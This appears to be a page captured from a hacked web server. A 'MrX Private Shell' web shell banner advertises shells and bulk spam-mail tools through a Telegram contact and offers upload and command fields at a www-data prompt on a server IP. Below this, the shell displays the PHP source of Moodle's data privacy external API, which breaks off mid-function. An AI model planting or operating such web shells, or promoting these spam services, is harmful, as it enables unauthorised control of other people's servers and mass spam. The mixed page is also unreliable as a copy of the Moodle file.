__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
/**
 * Class containing the external API functions functions for the Data Privacy tool.
 *
 * @package    tool_dataprivacy
 * @copyright  2018 Jun Pataleta
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
namespace tool_dataprivacy;

defined('MOODLE_INTERNAL') || die();

require_once($CFG->dirroot . '/' . $CFG->admin . '/tool/dataprivacy/lib.php');

use context_helper;
use context_system;
use context_user;
use core\notification;
use core_user;
use core_external\external_api;
use core_external\external_function_parameters;
use core_external\external_multiple_structure;
use core_external\external_single_structure;
use core_external\external_value;
use core_external\external_warnings;
use moodle_exception;
use required_capability_exception;
use tool_dataprivacy\external\category_exporter;
use tool_dataprivacy\external\data_request_exporter;
use tool_dataprivacy\external\purpose_exporter;
use tool_dataprivacy\output\data_registry_page;

/**
 * Class external.
 *
 * The external API for the Data Privacy tool.
 *
 * @copyright  2017 Jun Pataleta
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
class external extends external_api {

    /**
     * Parameter description for cancel_data_request().
     *
     * @since Moodle 3.5
     * @return external_function_parameters
     */
    public static function cancel_data_request_parameters() {
        return new external_function_parameters([
            'requestid' => new external_value(PARAM_INT, 'The request ID', VALUE_REQUIRED)
        ]);
    }

    /**
     * Cancel a data request.
     *
     * @since Moodle 3.5
     * @param int $requestid The request ID.
     * @return array
     * @throws invalid_persistent_exception
     * @throws coding_exception
     * @throws invalid_parameter_exception
     * @throws restricted_context_exception
     */
    public static function cancel_data_request($requestid) {
        global $USER;

        $warnings = [];
        $params = external_api::validate_parameters(self::cancel_data_request_parameters(), [
            'requestid' => $requestid
        ]);
        $requestid = $params['requestid'];

        // Validate context and access to manage the registry.
        $context = context_user::instance($USER->id);
        self::validate_context($context);

        // Ensure the request exists.
        $select = 'id = :id AND (userid = :userid OR requestedby = :requestedby)';
        $params = ['id' => $requestid, 'userid' => $USER->id, 'requestedby' => $USER->id];
        $requests = data_request::get_records_select($select, $params);
        $requestexists = count($requests) === 1;

        $result = false;
        if ($requestexists) {
            $request = reset($requests);
            $datasubject = $request->get('userid');

            if ($datasubject !== (int) $USER->id) {
                // The user is not the subject. Check that they can cancel this request.
                if (!api::can_create_data_request_for_user($datasubject)) {
                    $forusercontext = \context_user::instance($datasubject);
                    throw new required_capability_exception($forusercontext,
                            'tool/dataprivacy:makedatarequestsforchildren', 'nopermissions', '');
                }
            }

            // TODO: Do we want a request to be non-cancellable past a certain point? E.g. When it's already approved/processing.
            $result = api::update_request_status($requestid, api::DATAREQUEST_STATUS_CANCELLED);
        } else {
            $warnings[] = [
                'item' => $requestid,
                'warningcode' => 'errorrequestnotfound',
                'message' => get_string('errorrequestnotfound', 'tool_dataprivacy')
            ];
        }

        return [
            'result' => $result,
            'warnings' => $warnings
        ];
    }

    /**
     * Parameter description for cancel_data_request().
     *
     * @since Moodle 3.5
     * @return \core_external\external_description
     */
    public static function cancel_data_request_returns() {
        return new external_single_structure([
            'result' => new external_value(PARAM_BOOL, 'The processing result'),
            'warnings' => new external_warnings()
        ]);
    }

    /**
     * Parameter description for contact_dpo().
     *
     * @since Moodle 3.5
     * @return external_function_parameters
     */
    public static function contact_dpo_parameters() {
        return new external_function_parameters([
            'message' => new external_value(PARAM_TEXT, 'The user\'s message to the Data Protection Officer(s)', VALUE_REQUIRED)
        ]);
    }

    /**
     * Make a general enquiry to a DPO.
     *
     * @since Moodle 3.5
     * @param string $message The message to be sent to the DPO.
     * @return array
     * @throws coding_exception
     * @throws invalid_parameter_exception
     * @throws invalid_persistent_exception
     * @throws restricted_context_exception
     * @throws dml_exception
     * @throws moodle_exception
     */
    public static function contact_dpo($message) {
        global $USER;

        $warnings = [];
        $params = external_api::validate_parameters(self::contact_dpo_parameters(), [
            'message' => $message
        ]);
        $message = $params['message'];

        // Validate context.
        $userid = $USER->id;
        $context = context_user::instance($userid);
        self::validate_context($context);

        // Lodge the request.
        $datarequest = new data_request();
        // The user the request is being made for.
        $datarequest->set('userid', $userid);
        // The user making the request.
        $datarequest->set('requestedby', $userid);
        // Set status.
        $datarequest->set('status', api::DATAREQUEST_STATUS_PENDING);
        // Set request type.
        $datarequest->set('type', api::DATAREQUEST_TYPE_OTHERS);
        // Set request comments.
        $datarequest->set('comments', $message);

        // Store subject access request.
        $datarequest->create();

        // Get the list of the site Data Protection Officers.
        $dpos = api::get_site_dpos();

        // Email the data request to the Data Protection Officer(s)/Admin(s).
        $result = true;
        foreach ($dpos as $dpo) {
            $sendresult = api::notify_dpo($dpo, $datarequest);
            if (!$sendresult) {
                $result = false;
                $warnings[] = [
                    'item' => $dpo->id,
                    'warningcode' => 'errorsendingtodpo',
                    'message' => get_string('errorsendingmessagetodpo', 'tool_dataprivacy',
                        fullname($dpo))
                ];
            }
        }

        return [
            'result' => $result,
            'warnings' => $warnings
        ];
    }

    /**
     * Parameter description for contact_dpo().
     *
     * @since Moodle 3.5
     * @return \core_external\external_description
     */
    public static function contact_dpo_returns() {
        return new external_single_structure([
            'result' => new external_value(PARAM_BOOL, 'The processing result'),
            'warnings' => new external_warnings()
        ]);
    }

    /**
     * Parameter description for mark_complete().
     *
     * @since Moodle 3.5.2
     * @return external_function_parameters
     */
    public static function mark_complete_parameters() {
        return new external_function_parameters([
            'requestid' => new external_value(PARAM_INT, 'The request ID', VALUE_REQUIRED)
        ]);
    }

    /**
     * Mark a user's general enquiry's status as complete.
     *
     * @since Moodle 3.5.2
     * @param int $requestid The request ID of the general enquiry.
     * @return array
     * @throws coding_exception
     * @throws invalid_parameter_exception
     * @throws invalid_persistent_exception
     * @throws restricted_context_exception
     * @throws dml_exception
     * @throws moodle_exception
     */
    public static function mark_complete($requestid) {
        global $USER;

        $warnings = [];
        $params = external_api::validate_parameters(self::mark_complete_parameters(), [
            'requestid' => $requestid,
        ]);
        $requestid = $params['requestid'];

        // Validate context and access to manage the registry.
        $context = context_system::instance();
        self::validate_context($context);
        api::check_can_manage_data_registry();

        $message = get_string('markedcomplete', 'tool_dataprivacy');
        // Update the data request record.
        if ($result = api::update_request_status($requestid, api::DATAREQUEST_STATUS_COMPLETE, $USER->id, $message)) {
            // Add notification in the session to be shown when the page is reloaded on the JS side.
            notification::success(get_string('requestmarkedcomplete', 'tool_dataprivacy'));
        }

        return [
            'result' => $result,
            'warnings' => $warnings
        ];
    }

    /**
     * Parameter description for mark_complete().
     *
     * @since Moodle 3.5.2
     * @return \core_external\external_description
     */
    public static function mark_complete_returns() {
        return new external_single_structure([
            'result' => new external_value(PARAM_BOOL, 'The processing result'),
            'warnings' => new external_warnings()
        ]);
    }

    /**
     * Parameter description for get_data_request().
     *
     * @since Moodle 3.5
     * @return external_function_parameters
     */
    public static function get_data_request_parameters() {
        return new external_function_parameters([
            'requestid' => new external_value(PARAM_INT, 'The request ID', VALUE_REQUIRED)
        ]);
    }

    /**
     * Fetch the details of a user's data request.
     *
     * @since Moodle 3.5
     * @param int $requestid The request ID.
     * @return array
     * @throws coding_exception
     * @throws dml_exception
     * @throws invalid_parameter_exception
     * @throws restricted_context_exception
     * @throws moodle_exception
     */
    public static function get_data_request($requestid) {
        global $PAGE;

        $warnings = [];
        $params = external_api::validate_parameters(self::get_data_request_parameters(), [
            'requestid' => $requestid
        ]);
        $requestid = $params['requestid'];

        // Validate context.
        $context = context_system::instance();
        self::validate_context($context);
        $requestpersistent = new data_request($requestid);
        require_capability('tool/dataprivacy:managedatarequests', $context);

        $exporter = new data_request_exporter($requestpersistent, ['context' => $context]);
        $renderer = $PAGE->get_renderer('tool_dataprivacy');
        $result = $exporter->export($renderer);

        return [
            'result' => $result,
            'warnings' => $warnings
        ];
    }

    /**
     * Parameter description for get_data_request().
     *
     * @since Moodle 3.5
     * @return \core_external\external_description
     */
    public static function get_data_request_returns() {
        return new external_single_structure([
            'result' => data_request_exporter::get_read_structure(),
            'warnings' => new external_warnings()
        ]);
    }

    /**
     * Parameter description for approve_data_request().
     *
     * @since Moodle 3.5
     * @return external_function_parameters
     */
    public static function approve_data_request_parameters() {
        return new external_function_parameters([
            'requestid' => new external_value(PARAM_INT, 'The request ID', VALUE_REQUIRED)
        ]);
    }

    /**
     * Approve a data request.
     *
     * @since Moodle 3.5
     * @param int $requestid The request ID.
     * @return array
     * @throws coding_exception
     * @throws dml_exception
     * @throws invalid_parameter_exception
     * @throws restricted_context_exception
     * @throws moodle_exception
     */
    public static function approve_data_request($requestid) {
        $warnings = [];
        $params = external_api::validate_parameters(self::approve_data_request_parameters(), [
            'requestid' => $requestid
        ]);
        $requestid = $params['requestid'];

        // Validate context.
        $context = context_system::instance();
        self::validate_context($context);
        require_capability('tool/dataprivacy:managedatarequests', $context);

        // Ensure the request exists.
        $requestexists = data_request::record_exists($requestid);

        $result = false;
        if ($requestexists) {
            $result = api::approve_data_request($requestid);

            // Add notification in the session to be shown when the page is reloaded on the JS side.
            notification::success(get_string('requestapproved', 'tool_dataprivacy'));
        } else {
            $warnings[] = [
                'item' => $requestid,
                'warningcode' => 'errorrequestnotfound',
                'message' => get_string('errorrequestnotfound', 'tool_dataprivacy')
            ];
        }

        return [
            'result' => $result,
            'warnings' => $warnings
        ];
    }

    /**
     * Parameter description for approve_data_request().
     *
     * @since Moodle 3.5
     * @return \core_external\external_description
     */
    public static function approve_data_request_returns() {
        return new external_single_structure([
            'result' => new external_value(PARAM_BOOL, 'The processing result'),
            'warnings' => new external_warnings()
        ]);
    }

    /**
     * Parameter description for bulk_approve_data_requests().
     *
     * @since Moodle 3.5
     * @return external_function_parameters
     */
    public static function bulk_approve_data_requests_parameters() {
        return new external_function_parameters([
            'requestids' => new external_multiple_structure(
                new external_value(PARAM_INT, 'The request ID', VALUE_REQUIRED)
            )
        ]);
    }

    /**
     * Bulk approve bulk data request.
     *
     * @since Moodle 3.5
     * @param array $requestids Array consisting the request ID's.
     * @return array
     * @throws coding_exception
     * @throws dml_exception
     * @throws invalid_parameter_exception
     * @throws restricted_context_exception
     * @throws moodle_exception
     */
    public static function bulk_approve_data_requests($requestids) {
        $warnings = [];
        $result = false;
        $params = external_api::validate_parameters(self::bulk_approve_data_requests_parameters(), [
            'requestids' => $requestids
        ]);
        $requestids = $params['requestids'];

        // Validate context.
        $context = context_system::instance();
        self::validate_context($context);
        require_capability('tool/dataprivacy:managedatarequests', $context);

        foreach ($requestids as $requestid) {
            // Ensure the request exists.
            $requestexists = data_request::record_exists($requestid);

            if ($requestexists) {
                api::approve_data_request($requestid);
            } else {
                $warnings[] = [
                    'item' => $requestid,
                    'warningcode' => 'errorrequestnotfound',
                    'message' => get_string('errorrequestnotfound', 'tool_dataprivacy')
                ];
            }
        }

        if (empty($warnings)) {
            $result = true;
            // Add notification in the session to be shown when the page is reloaded on the JS side.
            notification::success(get_string('requestsapproved', 'tool_dataprivacy'));
        }

        return [
            'result' => $result,
            'warnings' => $warnings
        ];
    }

    /**
     * Parameter description for bulk_approve_data_requests().
     *
     * @since Moodle 3.5
     * @return \core_external\external_description
     */
    public static function bulk_approve_data_requests_returns() {
        return new external_single_structure([
            'result' => new external_value(PARAM_BOOL, 'The processing result'),
            'warnings' => new external_warnings()
        ]);
    }

    /**
     * Parameter description for deny_data_request().
     *
     * @since Moodle 3.5
     * @return external_function_parameters
     */
    public static function deny_data_request_parameters() {
        return new external_function_parameters([
            'requestid' => new external_value(PARAM_INT, 'The request ID', VALUE_REQUIRED)
        ]);
    }

    /**
     * Deny a data request.
     *
     * @since Moodle 3.5
     * @param int $requestid The request ID.
     * @return array
     * @throws coding_exception
     * @throws dml_exception
     * @throws invalid_parameter_exception
     * @throws restricted_context_exception
     * @throws moodle_exception
     */
    public static function deny_data_request($requestid) {
        $warnings = [];
        $params = external_api::validate_parameters(self::deny_data_request_parameters(), [
            'requestid' => $requestid
        ]);
        $requestid = $params['requestid'];

        // Validate context.
        $context = context_system::instance();
        self::validate_context($context);
        require_capability('tool/dataprivacy:managedatarequests', $context);

        // Ensure the request exists.
        $requestexists = data_request::record_exists($requestid);

        $result = false;
        if ($requestexists) {
            $result = api::deny_data_request($requestid);

            // Add notification in the session to be shown when the page is reloaded on the JS side.
            notification::success(get_string('requestdenied', 'tool_dataprivacy'));
        } else {
            $warnings[] = [
                'item' => $requestid,
                'warningcode' => 'errorrequestnotfound',
                'message' => get_string('errorrequestnotfound', 'tool_dataprivacy')
            ];
        }

        return [
            'result' => $result,
            'warnings' => $warnings
        ];
    }

    /**
     * Parameter description for deny_data_request().
     *
     * @since Moodle 3.5
     * @return \core_external\external_description
     */
    public static function deny_data_request_returns() {
        return new external_single_structure([
            'result' => new external_value(PARAM_BOOL, 'The processing result'),
            'warnings' => new external_warnings()
        ]);
    }

    /**
     * Parameter description for bulk_deny_data_requests().
     *
     * @since Moodle 3.5
     * @return external_function_parameters
     */
    public static function bulk_deny_data_requests_parameters() {
        return new external_function_parameters([
            'requestids' => new external_multiple_structure(
                new external_value(PARAM_INT, 'The request ID', VALUE_REQUIRED)
            )
        ]);
    }

    /**
     * Bulk deny data requests.
     *
     * @since Moodle 3.5
     * @param array $requestids Array consisting of request ID's.
     * @return array
     * @throws coding_exception
     * @throws dml_exception
     * @throws invalid_parameter_exception
     * @throws restricted_context_exception
     * @throws moodle_exception
     */
    public static function bulk_deny_data_requests($requestids) {
        $warnings = [];
        $result = false;
        $params = external_api::validate_parameters(self::bulk_deny_data_requests_parameters(), [
            'requestids' => $requestids
        ]);
        $requestids = $params['requestids'];

        // Validate context.
        $context = context_system::instance();
        self::validate_context($context);
        require_capability('tool/dataprivacy:managedatarequests', $context);

        foreach ($requestids as $requestid) {
            // Ensure the request exists.
            $requestexists = data_request::record_exists($requestid);

            if ($requestexists) {
                api::deny_data_request($requestid);
            } else {
                $warnings[] = [
                    'item' => $requestid,
                    'warningcode' => 'errorrequestnotfound',
                    'message' => get_string('errorrequestnotfound', 'tool_dataprivacy')
                ];
            }
        }

        if (empty($warnings)) {
            $result = true;
            // Add notification in the session to be shown when the page is reloaded on the JS side.
            notification::success(get_string('requestsdenied', 'tool_dataprivacy'));
        }

        return [
            'result' => $result,
            'warnings' => $warnings
        ];
    }

    /**
     * Parameter description for bulk_deny_data_requests().
     *
     * @since Moodle 3.5
     * @return \core_external\external_description
     */
    public static function bulk_deny_data_requests_returns() {
        return new external_single_structure([
            'result' => new external_value(PARAM_BOOL, 'The processing result'),
            'warnings' => new external_warnings()
        ]);
    }

    /**
     * Parameter description for get_data_request().
     *
     * @since Moodle 3.5
     * @return external_function_parameters
     */
    public static function get_users_parameters() {
        return new external_function_parameters([
            'query' => new external_value(PARAM_TEXT, 'The search query', VALUE_REQUIRED)
        ]);
    }

    /**
     * Fetch the details of a user's data request.
     *
     * @since Moodle 3.5
     * @param string $query The search request.
     * @return array
     * @throws required_capability_exception
     * @throws dml_exception
     * @throws invalid_parameter_exception
     * @throws restricted_context_exception
     */
    public static function get_users($query) {
        global $DB;
        $params = external_api::validate_parameters(self::get_users_parameters(), [
            'query' => $query
        ]);
        $query = $params['query'];

        // Validate context.
        $context = context_system::instance();
        self::validate_context($context);
        require_capability('tool/dataprivacy:managedatarequests', $context);

        $userfieldsapi = \core_user\fields::for_name();
        $allusernames = $userfieldsapi->get_sql('', false, '', '', false)->selects;
        // Exclude admins and guest user.
        $excludedusers = array_keys(get_admins()) + [guest_user()->id];
        $sort = 'lastname ASC, firstname ASC';
        $fields = 'id,' . $allusernames;

        // TODO Does not support custom user profile fields (MDL-70456).
        $extrafields = \core_user\fields::get_identity_fields($context, false);
        if (!empty($extrafields)) {
            $fields .= ',' . implode(',', $extrafields);
        }

        list($sql, $params) = users_search_sql($query, '', USER_SEARCH_STARTS_WITH, $extrafields, $excludedusers);
        $users = $DB->get_records_select('user', $sql, $params, $sort, $fields, 0, 30);
        $useroptions = [];
        foreach ($users as $user) {
            $useroption = (object)[
                'id' => $user->id,
                'fullname' => fullname($user)
            ];
            $useroption->extrafields = [];
            foreach ($extrafields as $extrafield) {
                // Sanitize the extra fields to prevent potential XSS exploit.
                $useroption->extrafields[] = (object)[
                    'name' => $extrafield,
                    'value' => s($user->$extrafield)
                ];
            }
            $useroptions[$user->id] = $useroption;
        }

        return $useroptions;
    }

    /**
     * Parameter description for get_users().
     *
     * @since Moodle 3.5
     * @return \core_external\external_description
     * @throws coding_exception
     */
    public static function get_users_returns() {
        return new external_multiple_structure(new external_single_structure(
            [
                'id' => new external_value(core_user::get_property_type('id'), 'ID of the user'),
                'fullname' => new external_value(core_user::get_property_type('firstname'), 'The fullname of the user'),
                'extrafields' => new external_multiple_structure(
                    new external_single_structure([
                            'name' => new external_value(PARAM_TEXT, 'Name of the extrafield.'),
                            'value' => new external_value(PARAM_TEXT, 'Value of the extrafield.')
                        ]
                    ), 'List of extra fields', VALUE_OPTIONAL
                )
            ]
        ));
    }

    /**
     * Parameter description for create_purpose_form().
     *
     * @since Moodle 3.5
     * @return external_function_parameters
     */
    public static function create_purpose_form_parameters() {
        return new external_function_parameters([
            'jsonformdata' => new external_value(PARAM_RAW, 'The data to create the purpose, encoded as a json array')
        ]);
    }

    /**
     * Creates a data purpose from form data.
     *
     * @since Moodle 3.5
     * @param string $jsonformdata
     * @return array
     */
    public static function create_purpose_form($jsonformdata) {
        global $PAGE;

        $warnings = [];

        $params = external_api::validate_parameters(self::create_purpose_form_parameters(), [
            'jsonformdata' => $jsonformdata
        ]);

        // Validate context and access to manage the registry.
        self::validate_context(\context_system::instance());
        api::check_can_manage_data_registry();

        $serialiseddata = json_decode($params['jsonformdata']);
        $data = array();
        parse_str($serialiseddata, $data);

        $purpose = new \tool_dataprivacy\purpose(0);
        $mform = new \tool_dataprivacy\form\purpose(null, ['persistent' => $purpose], 'post', '', null, true, $data);

        $validationerrors = true;
        if ($validateddata = $mform->get_data()) {
            $purpose = api::create_purpose($validateddata);
            $validationerrors = false;
        } else if ($errors = $mform->is_validated()) {
            throw new moodle_exception('generalerror');
        }

        $exporter = new purpose_exporter($purpose, ['context' => \context_system::instance()]);
        return [
            'purpose' => $exporter->export($PAGE->get_renderer('core')),
            'validationerrors' => $validationerrors,
            'warnings' => $warnings
        ];
    }

    /**
     * Returns for create_purpose_form().
     *
     * @since Moodle 3.5
     * @return external_single_structure
     */
    public static function create_purpose_form_returns() {
        return new external_single_structure([
            'purpose' => purpose_exporter::get_read_structure(),
            'validationerrors' => new external_value(PARAM_BOOL, 'Were there validation errors', VALUE_REQUIRED),
            'warnings' => new external_warnings()
        ]);
    }

    /**
     * Parameter description for delete_purpose().
     *
     * @since Moodle 3.5
     * @return external_function_parameters
     */
    public static function delete_purpose_parameters() {
        return new external_function_parameters([
            'id' => new external_value(PARAM_INT, 'The purpose ID', VALUE_REQUIRED)
        ]);
    }

    /**
     * Deletes a data purpose.
     *
     * @since Moodle 3.5
     * @param int $id The ID.
     * @return array
     * @throws invalid_persistent_exception
     * @throws coding_exception
     * @throws invalid_parameter_exception
     */
    public static function delete_purpose($id) {
        global $USER;

        $params = external_api::validate_parameters(self::delete_purpose_parameters(), [
            'id' => $id
        ]);

        // Validate context and access to manage the registry.
        self::validate_context(\context_system::instance());
        api::check_can_manage_data_registry();

        $result = api::delete_purpose($params['id']);

        return [
            'result' => $result,
            'warnings' => []
        ];
    }

    /**
     * Parameter description for delete_purpose().
     *
     * @since Moodle 3.5
     * @return external_single_structure
     */
    public static function delete_purpose_returns() {
        return new external_single_structure([
            'result' => new external_value(PARAM_BOOL, 'The processing result'),
            'warnings' => new external_warnings()
        ]);
    }

    /**
     * Parameter description for create_category_form().
     *
     * @since Moodle 3.5
     * @return external_function_parameters
     */
    public static function create_category_form_parameters() {
        return new external_function_parameters([
            'jsonformdata' => new external_value(PARAM_RAW, 'The data to create the category, encoded as a json array')
        ]);
    }

    /**
     * Creates a data category from form data.
     *
     * @since Moodle 3.5
     * @param string $jsonformdata
     * @return array
     */
    public static function create_category_form($jsonformdata) {
        global $PAGE;

        $warnings = [];

        $params = external_api::validate_parameters(self::create_category_form_parameters(), [
            'jsonformdata' => $jsonformdata
        ]);

        // Validate context and access to manage the registry.
        self::validate_context(\context_system::instance());
        api::check_can_manage_data_registry();

        $serialiseddata = json_decode($params['jsonformdata']);
        $data = array();
        parse_str($serialiseddata, $data);

        $category = new \tool_dataprivacy\category(0);
        $mform = new \tool_dataprivacy\form\category(null, ['persistent' => $category], 'post', '', null, true, $data);

        $validationerrors = true;
        if ($validateddata = $mform->get_data()) {
            $category = api::create_category($validateddata);
            $validationerrors = false;
        } else if ($errors = $mform->is_validated()) {
            throw new moodle_exception('generalerror');
        }

        $exporter = new category_exporter($category, ['context' => \context_system::instance()]);
        return [
            'category' => $exporter->export($PAGE->get_renderer('core')),
            'validationerrors' => $validationerrors,
            'warnings' => $warnings
        ];
    }

    /**
     * Returns for create_category_form().
     *
     * @since Moodle 3.5
     * @return external_single_structure
     */
    public static function create_category_form_returns() {
        return new external_single_structure([
            'category' => category_exporter::get_read_structure(),
            'validationerrors' => new external_value(PARAM_BOOL, 'Were there validation errors', VALUE_REQUIRED),
            'warnings' => new external_warnings()
        ]);
    }

    /**
     * Parameter description for delete_category().
     *
     * @since Moodle 3.5
     * @return external_function_parameters
     */
    public static function delete_category_parameters() {
        return new external_function_parameters([
            'id' => new external_value(PARAM_INT, 'The category ID', VALUE_REQUIRED)
        ]);
    }

    /**
     * Deletes a data category.
     *
     * @since Moodle 3.5
     * @param int $id The ID.
     * @return array
     * @throws invalid_persistent_exception
     * @throws coding_exception
     * @throws invalid_parameter_exception
     */
    public static function delete_category($id) {
        global $USER;

        $params = external_api::validate_parameters(self::delete_category_parameters(), [
            'id' => $id
        ]);

        // Validate context and access to manage the registry.
        self::validate_context(\context_system::instance());
        api::check_can_manage_data_registry();

        $result = api::delete_category($params['id']);

        return [
            'result' => $result,
            'warnings' => []
        ];
    }

    /**
     * Parameter description for delete_category().
     *
     * @since Moodle 3.5
     * @return external_single_structure
     */
    public static function delete_category_returns() {
        return new external_single_structure([
            'result' => new external_value(PARAM_BOOL, 'The processing result'),
            'warnings' => new external_warnings()
        ]);
    }

    /**
     * Parameter description for set_contextlevel_form().
     *
     * @since Moodle 3.5
     * @return external_function_parameters
     */
    public static function set_contextlevel_form_parameters() {
        return new external_function_parameters([
            'jsonformdata' => new external_value(PARAM_RAW, 'The context level data, encoded as a json array')
        ]);
    }

    /**
     * Creates a data category from form data.
     *
     * @since Moodle 3.5
     * @param string $jsonformdata
     * @return array
     */
    public static function set_contextlevel_form($jsonformdata) {
        global $PAGE;

        $warnings = [];

        $params = external_api::validate_parameters(self::set_contextlevel_form_parameters(), [
            'jsonformdata' => $jsonformdata
        ]);

        // Validate context and access to manage the registry.
        self::validate_context(\context_system::instance());
        api::check_can_manage_data_registry();

        $serialiseddata = json_decode($params['jsonformdata']);
        $data = array();
        parse_str($serialiseddata, $data);

        $contextlevel = $data['contextlevel'];

        $customdata = \tool_dataprivacy\form\contextlevel::get_contextlevel_customdata($contextlevel);
        $mform = new \tool_dataprivacy\form\contextlevel(null, $customdata, 'post', '', null, true, $data);
        if ($validateddata = $mform->get_data()) {
            $contextlevel = api::set_contextlevel($validateddata);
        } else if ($errors = $mform->is_validated()) {
            $warnings[] = json_encode($errors);
        }

        if ($contextlevel) {
            $result = true;
        } else {
            $result = false;
        }
        return [
            'result' => $result,
            'warnings' => $warnings
        ];
    }

    /**
     * Returns for set_contextlevel_form().
     *
     * @since Moodle 3.5
     * @return external_single_structure
     */
    public static function set_contextlevel_form_returns() {
        return new external_single_structure([
            'result' => new external_value(PARAM_BOOL, 'Whether the data was properly set or not'),
            'warnings' => new external_warnings()
        ]);
    }

    /**
     * Parameter description for set_context_form().
     *
     * @since Moodle 3.5
     * @return external_function_parameters
     */
    public static function set_context_form_parameters() {
        return new external_function_parameters([
            'jsonformdata' => new external_value(PARAM_RAW, 'The context level data, encoded as a json array')
        ]);
    }

    /**
     * Creates a data category from form data.
     *
     * @since Moodle 3.5
     * @param string $jsonformdata
     * @return array
     */
    public static function set_context_form($jsonformdata) {
        global $PAGE;

        $warnings = [];

        $params = external_api::validate_parameters(self::set_context_form_parameters(), [
            'jsonformdata' => $jsonformdata
        ]);

        // Validate context and access to manage the registry.
        self::validate_context(\context_system::instance());
        api::check_can_manage_data_registry();

        $serialiseddata = json_decode($params['jsonformdata']);
        $data = array();
        parse_str($serialiseddata, $data);

        $context = context_helper::instance_by_id($data['contextid']);
        $customdata = \tool_dataprivacy\form\context_instance::get_context_instance_customdata($context);
        $mform = new \tool_dataprivacy\form\context_instance(null, $customdata, 'post', '', null, true, $data);
        if ($validateddata = $mform->get_data()) {
            api::check_can_manage_data_registry($validateddata->contextid);
            $context = api::set_context_instance($validateddata);
        } else if ($errors = $mform->is_validated()) {
            $warnings[] = json_encode($errors);
            throw new moodle_exception('generalerror');
        }

        if ($context) {
            $result = true;
        } else {
            $result = false;
        }
        return [
            'result' => $result,
            'warnings' => $warnings
        ];
    }

    /**
     * Returns for set_context_form().
     *
     * @since Moodle 3.5
     * @return external_single_structure
     */
    public static function set_context_form_returns() {
        return new external_single_structure([
            'result' => new external_value(PARAM_BOOL, 'Whether the data was properly set or not'),
            'warnings' => new external_warnings()
        ]);
    }

    /**
     * Parameter description for tree_extra_branches().
     *
     * @since Moodle 3.5
     * @return external_function_parameters
     */
    public static function tree_extra_branches_parameters() {
        return new external_function_parameters([
            'contextid' => new external_value(PARAM_INT, 'The context id to expand'),
            'element' => new external_value(PARAM_ALPHA, 'The element we are interested on')
        ]);
    }

    /**
     * Returns tree extra branches.
     *
     * @since Moodle 3.5
     * @param int $contextid
     * @param string $element
     * @return array
     */
    public static function tree_extra_branches($contextid, $element) {

        $params = external_api::validate_parameters(self::tree_extra_branches_parameters(), [
            'contextid' => $contextid,
            'element' => $element,
        ]);

        $context = context_helper::instance_by_id($params['contextid']);

        self::validate_context($context);
        api::check_can_manage_data_registry($context->id);

        switch ($params['element']) {
            case 'course':
                $branches = data_registry_page::get_courses_branch($context);
                break;
            case 'module':
                $branches = data_registry_page::get_modules_branch($context);
                break;
            case 'block':
                $branches = data_registry_page::get_blocks_branch($context);
                break;
            default:
                throw new \moodle_exception('Unsupported element provided.');
        }

        return [
            'branches' => $branches,
            'warnings' => [],
        ];
    }

    /**
     * Returns for tree_extra_branches().
     *
     * @since Moodle 3.5
     * @return external_single_structure
     */
    public static function tree_extra_branches_returns() {
        return new external_single_structure([
            'branches' => new external_multiple_structure(self::get_tree_node_structure(true)),
            'warnings' => new external_warnings()
        ]);
    }

    /**
     * Parameters for confirm_contexts_for_deletion().
     *
     * @since Moodle 3.5
     * @return external_function_parameters
     */
    public static function confirm_contexts_for_deletion_parameters() {
        return new external_function_parameters([
            'ids' => new external_multiple_structure(
                new external_value(PARAM_INT, 'Expired context record ID', VALUE_REQUIRED),
                'Array of expired context record IDs', VALUE_DEFAULT, []
            ),
        ]);
    }

    /**
     * Confirm a given array of expired context record IDs
     *
     * @since Moodle 3.5
     * @param int[] $ids Array of record IDs from the expired contexts table.
     * @return array
     * @throws coding_exception
     * @throws dml_exception
     * @throws invalid_parameter_exception
     * @throws restricted_context_exception
     */
    public static function confirm_contexts_for_deletion($ids) {
        $warnings = [];
        $params = external_api::validate_parameters(self::confirm_contexts_for_deletion_parameters(), [
            'ids' => $ids
        ]);
        $ids = $params['ids'];

        // Validate context and access to manage the registry.
        self::validate_context(\context_system::instance());
        api::check_can_manage_data_registry();

        $result = true;
        if (!empty($ids)) {
            $expiredcontextstoapprove = [];
            // Loop through the deletion of expired contexts and their children if necessary.
            foreach ($ids as $id) {
                $expiredcontext = new expired_context($id);
                $targetcontext = context_helper::instance_by_id($expiredcontext->get('contextid'));

                if (!$targetcontext instanceof \context_user) {
                    // Fetch this context's child contexts. Make sure that all of the child contexts are flagged for deletion.
                    // User context children do not need to be considered.
                    $childcontexts = $targetcontext->get_child_contexts();
                    foreach ($childcontexts as $child) {
                        if ($expiredchildcontext = expired_context::get_record(['contextid' => $child->id])) {
                            // Add this child context to the list for approval.
                            $expiredcontextstoapprove[] = $expiredchildcontext;
                        } else {
                            // This context has not yet been flagged for deletion.
                            $result = false;
                            $message = get_string('errorcontexthasunexpiredchildren', 'tool_dataprivacy',
                                $targetcontext->get_context_name(false));
                            $warnings[] = [
                                'item' => 'tool_dataprivacy_ctxexpired',
                                'warningcode' => 'errorcontexthasunexpiredchildren',
                                'message' => $message
                            ];
                            // Exit the process.
                            break 2;
                        }
                    }
